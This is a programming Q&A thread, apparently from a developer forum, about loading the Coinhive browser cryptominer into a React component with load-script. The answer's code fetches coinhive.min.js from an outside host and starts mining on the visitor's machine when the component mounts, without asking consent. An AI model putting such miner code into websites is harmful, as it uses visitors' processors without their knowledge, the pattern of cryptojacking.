在React中加载外部脚本（使用load-script）

Question

This code is a simple re-implementation react-coin-hive , basically I am trying to understand what is going on here.

It loads the javascript for Coinhive , however I get the error

Line 8:  'CoinHive' is not defined  no-undef

Here is the react code:

import React, {Component} from 'react';
import loadScript from 'load-script';

class App extends Component {
  buildMiner = async () => {
    this.miner = await new Promise(resolve => {
      loadScript('https://coinhive.com/lib/coinhive.min.js', () => {
        return resolve(CoinHive.Anonymous('WshUK1rGzM29IvlWo1qFhk37IgLIh3t3'));
      })
    })
  };

  async componentWillMount() {
    this.buildMiner();
    this.miner.start();
  }

  render() {
    return (
      <div>
        Start mining!
      </div>
    );
  }
}

export default App;

If you were to load Coinhive normally you would have access to that object, and would call:

<script src="https://coinhive.com/lib/coinhive.min.js"></script>

<script>
    var miner = new CoinHive.Anonymous('YOUR_SITE_KEY');
    miner.start();
</script>

Another small question I have, is why use the syntax:

buildMiner = async () => {}

and not say:

async buildMiner() {}

Answer 1

I would suggest you load the Coinhive library in componentDidMount , as it is a best practice : Reference , and quote from this site :

If you need to load data from a remote endpoint, this is a good place to instantiate the network request.

React being all about props and state , why not start with initilazing the state in a constructor function, like so ?

  constructor(props) {
    super(props);
    this.state = {
      loadScriptCalled: false, // state variable to let us know if loadScript has run
      miner: null // state variable to let us know if the miner is available
    };
  }

Also, since your buildMiner function returns a Promise , you do not need to call async then await to "promisify" your function.

  buildMiner = () => {
    return new Promise((resolve, reject) => {
      loadScript('https://coinhive.com/lib/coinhive.min.js',
      (error, script) => {
        if (error) {
          reject(error);
        } else {
          console.log("Loaded")
          return resolve(CoinHive.Anonymous('WshUK1rGzM29IvlWo1qFhk37IgLIh3t3'));
        }
      })
    })
  };

Then, this.buildMiner being a Promise , you simply need to treat it as such, and work on your state component in then() or catch() blocks, like so :

  componentDidMount() {
    this.buildMiner()
    .then((miner) => {
      console.log("miner :", miner);
      this.setState({
        loadScriptCalled: true,
        miner: miner
      });
      this.state.miner.start();
    })
    .catch((error) => {
      this.setState({
        loadScriptCalled: true
      })
      console.log("Failed to load CoinHive :", error);
    });
  }

Complete code is available here : https://codesandbox.io/s/o4lo1my0ky

Hope this helps !